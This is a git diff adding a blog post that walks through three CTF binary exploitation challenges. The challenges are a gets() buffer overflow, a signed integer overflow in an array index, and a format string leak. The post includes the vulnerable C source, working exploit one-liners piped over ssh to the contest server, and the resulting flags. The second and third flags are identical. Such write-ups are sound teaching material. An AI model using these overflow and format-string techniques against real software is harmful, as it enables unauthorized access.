diff --git a/src/content/blog/minnehack-ctf-binary-exploitation/css/styles.css b/src/content/blog/minnehack-ctf-binary-exploitation/css/styles.css
new file mode 100644
index 0000000..d1214b5
--- /dev/null
+++ b/src/content/blog/minnehack-ctf-binary-exploitation/css/styles.css
@@ -0,0 +1,4 @@
+code {
+ color: #e83e8c;
+ word-wrap: break-word;
+}
diff --git a/src/content/blog/minnehack-ctf-binary-exploitation/index.mdx b/src/content/blog/minnehack-ctf-binary-exploitation/index.mdx
new file mode 100644
index 0000000..1ceb68a
--- /dev/null
+++ b/src/content/blog/minnehack-ctf-binary-exploitation/index.mdx
@@ -0,0 +1,189 @@
+---
+title: "MinneHack CTF: Binary Exploitation"
+date: 2026-02-16T05:02:26Z
+draft: false
+author: dajeff
+tags: [pwn]
+---
+
+import css from "css/styles.css?url";
+import readme from "./README.md?url";
+import solveScript from "./solve.py?url";
+
+
+
+### Gets
+
+### Points: [50]
+
+> This category, we'll give you the source code for a Linux program written in C or another language. Your goal is to find a bug that allows you to trick it into printing the flag. Compile and run it on your own computer to develop an attack.
+> ```c
+> #include
+>
+> typedef struct {
+> char buf[256];
+> int print_flag;
+> } vars_t;
+>
+> int main() {
+> vars_t v = {0};
+> printf("> ");
+> gets(v.buf);
+> if (v.print_flag != 0) {
+> printf("flag{...}\n");
+> }
+> }
+> ```
+> To get the real flag, run the command below to connect to our server and perform your attack. We compiled with `gcc -ansi -O0` on Ubuntu 24.04.
+>
+> ```sh
+> $ ssh ctf@128.101.131.184 -tp 80 zR37URyJ3mJ5K7vfeOnDIJ5A
+> ```
+
+### Solution
+
+The goal is to overwrite `v.print_flag` to print the flag.
+
+We can fill `v.buf` with 256 `a`'s and overwrite part of `v.print_flag` with a 257th `a`:
+```sh
+python3 -c "print('a'*257)" | ssh ctf@128.101.131.184 -tp 80 zR37URyJ3mJ5K7vfeOnDIJ5A
+```
+
+Flag: `flag{131cdc95-0314-4d81-9f84-de432848c109}`
+
+---
+
+### Grid
+
+### Points: [50]
+
+> ```c
+> #include
+> #include
+>
+> #define IS_ADMIN (1 << 6)
+>
+> typedef struct {
+> int mode;
+> char pixels[1024];
+> } grid_t;
+>
+> grid_t grid;
+>
+> void print_grid() {
+> for (int y = 0; y < 16; y++) {
+> printf("%.32s\n", &grid.pixels[y * 32]);
+> }
+> if (grid.mode & IS_ADMIN) {
+> printf("flag{...}\n");
+> }
+> }
+>
+> int main() {
+> grid.mode = 0;
+> for (int i = 0; i < 1024; i++) {
+> grid.pixels[i] = '?';
+> }
+>
+> while (1) {
+> printf("Current image:\n");
+> print_grid();
+>
+> int x;
+> int y;
+> char c;
+> printf("X coordinate of pixel to change: ");
+> scanf("%d", &x);
+> printf("Y coordinate of pixel to change: ");
+> scanf("%d", &y);
+> printf("What character to put there: ");
+> scanf(" %c", &c);
+>
+> if (x >= 0 && y >= 0) {
+> grid.pixels[y * 32 + x] = c;
+> } else {
+> printf("Error: out of bounds!\n");
+> }
+> }
+> }
+> ```
+>
+> To get the real flag, run the command below to connect to our server and perform your attack. We compiled with `gcc -O2` on Ubuntu 24.04.
+>
+> ```sh
+> ssh ctf@128.101.131.184 -tp 80 fiymDAzBJ5GjiouRB4AK0Rz1
+> ```
+
+### Solution
+
+The goal is to overwrite `grid.mode` to print the flag.
+
+Note that `grid.mode` is below `grid.pixels` on the stack. If there was no condition `x >= 0`, we could set `x = -4` (since
+an `int` is 4 bytes) to make `y * 32 + x` negative and overwrite `grid.mode`.
+
+Since there is a condition, we can instead overflow `y * 32 + x` to a negative integer. Note that `1 << 32 = 4294967296`
+overflows to `0` in a signed `int`, so we can set
+```
+y = (4294967296 - 32) // 32 = 134217727
+```
+to get `y * 32 = -32`, then add `x = 28` to access `grid.mode` at `-4`. This yields the flag; if it didn't, we should test
+`x = 31` due to endianness.
+
+```sh
+python3 -c "print('28\n134217727\n~')" | ssh ctf@128.101.131.184 -tp 80 fiymDAzBJ5GjiouRB4AK0Rz1
+```
+
+Flag: `flag{e80525fc-9d60-4d11-a34b-73b386753ea3}`
+
+---
+
+### Hello
+
+### Points: [50]
+
+> ```c
+> #include
+> #include
+>
+> char *the_flag = "flag{...}";
+>
+> int main() {
+> char *flag_ptr = the_flag;
+> char greeting[128] = "Hello, ";
+> printf("What is your name? ");
+> scanf("%50s", greeting + strlen(greeting));
+> strcat(greeting, "!\n");
+> printf(greeting);
+> }
+> ```
+> To get the real flag, run the command below to connect to our server and perform your attack. We compiled with `gcc -O0` on Ubuntu 24.04.
+>
+> ```sh
+> ssh ctf@128.101.131.184 -tp 80 N4onoYe1R584oDuGHN7zPo4x
+> ```
+
+### Solution
+
+The goal is to print the contents at `flag_ptr`.
+
+The vulnerable line is
+```c
+printf(greeting);
+```
+
+Since user input is passed as a format argument (as opposed to the more secure `printf("%s", greeting);`), there is a [format
+string vulnerability](https://ctf101.org/binary-exploitation/what-is-a-format-string-vulnerability/). Using format
+specifiers in our input, we can print stack "arguments" and leak the stack:
+```
+% ssh ctf@128.101.131.184 -tp 80 N4onoYe1R584oDuGHN7zPo4x
+What is your name? %llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.
+Hello, a.2f.0.8000.32.800.55686d14d008.25202c6f6c6c6548.!
+Connection to 128.101.131.184 closed.
+```
+
+The 8th argument is ASCII and 7th argument looks like a pointer, so we'll print the flag at the 7th argument using `%7$s`:
+```sh
+python3 -c "print('%7\$s')" | ssh ctf@128.101.131.184 -tp 80 N4onoYe1R584oDuGHN7zPo4x
+```
+
+Flag: `flag{e80525fc-9d60-4d11-a34b-73b386753ea3}`